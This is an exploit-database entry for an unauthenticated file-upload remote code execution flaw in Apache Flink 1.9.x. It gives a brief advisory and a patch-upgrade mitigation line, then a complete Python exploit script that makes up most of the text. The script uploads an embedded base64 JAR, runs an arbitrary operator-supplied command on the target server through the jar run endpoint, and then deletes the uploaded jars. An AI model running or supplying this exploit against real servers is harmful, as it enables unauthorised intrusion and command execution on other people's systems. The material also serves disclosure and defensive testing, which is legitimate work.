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vendor:
Flink
by:
bigger.wing
9.8
CVSS
HIGH
Remote Code Execution
284
CWE
Product Name: Flink
Affected Version From: 1.9.x
Affected Version To: 1.9.x
Patch Exists: YES
Related CWE: None
CPE: a:apache:flink
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Centos7.x, 1.9.1
2020

Apache Flink 1.9.x – File Upload RCE (Unauthenticated)

A vulnerability in Apache Flink 1.9.x allows an unauthenticated attacker to upload a malicious JAR file and execute arbitrary code on the server. The vulnerability is due to the lack of authentication when uploading JAR files to the server. An attacker can exploit this vulnerability by sending a specially crafted request to the server to upload a malicious JAR file and execute arbitrary code on the server.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should upgrade to the latest version of Apache Flink.
Source

Exploit-DB raw data:

#!/usr/bin/env python3
# _*_ coding: utf-8 _*_

# Exploit Title: Apache Flink 1.9.x - File Upload RCE (Unauthenticated)
# Google Dork: None
# Date: 2020.11.01
# Exploit Author: bigger.wing
# Vendor Homepage: https://flink.apache.org/
# Software Link: https://flink.apache.org/downloads.html
# Version: 1.9.x
# Tested on: Centos7.x, 1.9.1
# CVE: None

import io
import re
import sys
import base64
import requests


class FlinkRCECheck:

    def __init__(self, url):
        self.url = url
        self.timeout = 10
        self.upload_file = 'rce_check_from_sec.jar'
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) '
                          'Chrome/61.0 Safari/537.36'
        }

    @property
    def get_version(self):
        url = '%s/%s' % (self.url, 'config')
        try:
            res = requests.get(url, headers=self.headers, timeout=self.timeout, verify=False)
            version = res.json().get('flink-version')
        except:
            version = 'unknown'
        return version

    @property
    def jar_check(self):
        url = '%s/%s' % (self.url, 'jars')
        jar_list = []
        try:
            res = requests.get(url, headers=self.headers, verify=False, timeout=self.timeout)
            if res.status_code == 200 and 'application/json' in res.headers.get('Content-Type', ''):
                res = res.json()
                for file in res['files']:
                    if file['id'].endswith(self.upload_file):
                        jar_list.append(file['id'])
        except Exception as e:
            pass

        return jar_list

    @property
    def jar_upload(self):
        url = '%s/%s' % (self.url, 'jars/upload')
        jar_content = base64.b64decode('UEsDBBQACAgIACJ1bU8AAAAAAAAAAAAAAAAUAAQATUVUQS1JTkYvTUFOSUZFU1QuTUb+ygAA803My'
                                       '0xLLS7RDUstKs7Mz7NSMNQz4OXyTczM03XOSSwutlJwrUhNLi1J5eXi5QIAUEsHCIiKCL8wAAAALg'
                                       'AAAFBLAwQKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAE1FVEEtSU5GL1BLAwQUAAgICAAidW1PAAA'
                                       'AAAAAAAAAAAAADQAAAEV4ZWN1dGUuY2xhc3ONVet2E1UU/k4yyUwmQy+TQlsQBdSStqSxiIotIlAK'
                                       'VkJbSa0G8DKZHpPTJjNhLjTVCvoQ/ugT8MsfqCtx0aUPwEOx3Gdo09KGtUzW7H3O3vvbt7PPzPMXz'
                                       '/4FMIlfdbyDyxo+1XBFx1Vc05HCjIbrks+quKHipobPNMzp0PC5hlsqChpu6+jBvCQLGhal6gsVd3'
                                       'QUsaRjAF9qWJb8K0m+lqQkyd0URbin4r6OkzLoN5J/K8l3Or6HpaKswmZIXhKOCC4zxLOjywzKjLv'
                                       'CGXoLwuHzYb3MvSWrXCOJWXBtq7ZseULud4RKUBU+Q6ow2+R2GPBpEtUt4TAcy94rrFoPrXzNcir5'
                                       'YuAJpzItA7AGw/F9qkXPtbnvXwtFbYV75CDeCDZkuENo8m15FQqX6eKaHLuEtesrtJI2h0NIG7ujC'
                                       'QNRyxdty3GiqPps0+aNQLiOr4J86EU39Gx+Q8gyjZ3yJiTSwLsYYQCD6voTjlXnKriBH1AxUIWgJN'
                                       'aFY2AVawxDr6uToe9gCeSPsp/gTQoYy9syTI5k+bJw8n6VkogAws2/zCkVKcqWX5WWNQN1UNtjOQK'
                                       '6oB73H6pSxQMDHnxpH5Dp/asGQjw0sA7KtwlhYAMjBn7ETwyDB9PrJB7fvLJpYBM/G3gEoeKxgV9Q'
                                       'o0x3mvRKaQvlVW5TsMyeqNPoV3uw4Qe8zpCu8IBa1eCenIKRbJch6nb46cAtuOvcm7F8SmAg29VIs'
                                       '10noOmk8Tix3/FM1fKK/EHIHZtPj95lONotLM1ukjeFH/jRXSGzhB9YXiDNR7tOW/8hIUMP1TfnNM'
                                       'KA3HKLCh7cBdPJ7lMQfCjbVSETMUKfX+c1UReBPJKzr2/TgTFXq5Y/z5uUtOJELGHXXNmyuBvKSjo'
                                       'RF8nJXipJq9HgDl2L3P86kL3LrAXu7nRnurim+A25w2m8Te9G+YvRxaILRvQs7fLE6a4hMdYGexqp'
                                       's0STkZBhlKjx0gBjGCeewjnkyIrAbInskiT7y4wVxuLnb5vxv6G0kDCTLahbOLUNrZT8B6lS3NSLJ'
                                       'cVMF0uJc8U2jPknuGAemVK20VMye9voa6F/C6rZK0W7mGFFYswOJtdCRuoHSsMU5Ggbx8zBFoamEs'
                                       'OJFoa3kJb8+BMo4wW5OvEH3tjGyVIbb5pvtXBqnJ5o0cLpFs7s1fohjhCN01+BSvUMEr1AdV6Ejpt'
                                       'I4xbpOXqxhj66kP34DSb+RCbqzR36WEwScoIaGSdEDu/RXpE9wXm8H/l9St4m5dsMv+MDWsXI28IO'
                                       'Yg1zFP8jQjwifhEfU5+nCKWQ/TQ9l6IsP/kPUEsHCEEOnKXWAwAA4gYAAFBLAQIUABQACAgIACJ1b'
                                       'U+Iigi/MAAAAC4AAAAUAAQAAAAAAAAAAAAAAAAAAABNRVRBLUlORi9NQU5JRkVTVC5NRv7KAABQSw'
                                       'ECCgAKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAB2AAAATUVUQS1JTkYvUEsBAhQ'
                                       'AFAAICAgAInVtT0EOnKXWAwAA4gYAAA0AAAAAAAAAAAAAAAAAnQAAAEV4ZWN1dGUuY2xhc3NQSwUG'
                                       'AAAAAAMAAwC4AAAArgQAAAAA')
        files = {'jarfile': (self.upload_file, io.BytesIO(jar_content), 'application/octet-stream')}

        try:
            res = requests.post(url, headers=self.headers, files=files, timeout=self.timeout, verify=False)
            file_id = res.json()['filename'].split('/')[-1]
            return file_id
        except Exception as e:
            res = False
        return res

    @property
    # delete history jar packages
    def jar_delete(self):
        for jar_name in self.jar_check:
            url = '%s//jars/%s' % (self.url, jar_name)
            try:
                requests.delete(url=url, headers=self.headers, timeout=self.timeout, verify=False)
            except:
                pass
        return

    def rce(self, command):
        jar_file = self.jar_upload
        try:
            execute_cmd_url = '%s/jars/%s/run?entry-class=Execute&program-args="%s"' % (self.url, jar_file, command)
            res = requests.post(url=execute_cmd_url, headers=self.headers, timeout=self.timeout, verify=False)
            res = re.findall('\|@\|(.*?)\|@\|', res.text)[0][0:-2]
            if res:
                print('rce command "%s" exec result: %s' % (command, res))
                state = 1
                msg = '%s rce success' % self.url
            else:
                state = 0
                msg = '%s rce failed' % self.url
        except:
            state = 0
            msg = '%s rce failed' % self.url

        delete = self.jar_delete

        return {'state': state, 'version': self.get_version, 'msg': msg}


if __name__ == '__main__':
    usage = 'python3 script.py ip port command'
    if len(sys.argv) != 4:
        print('simple usage: %s' % usage)
    else:
        ip = sys.argv[1]
        port = sys.argv[2]
        command = sys.argv[3]
        url = 'http://%s:%s' % (ip, port)
        res = FlinkRCECheck(url=url).rce(command=command)
        print(res)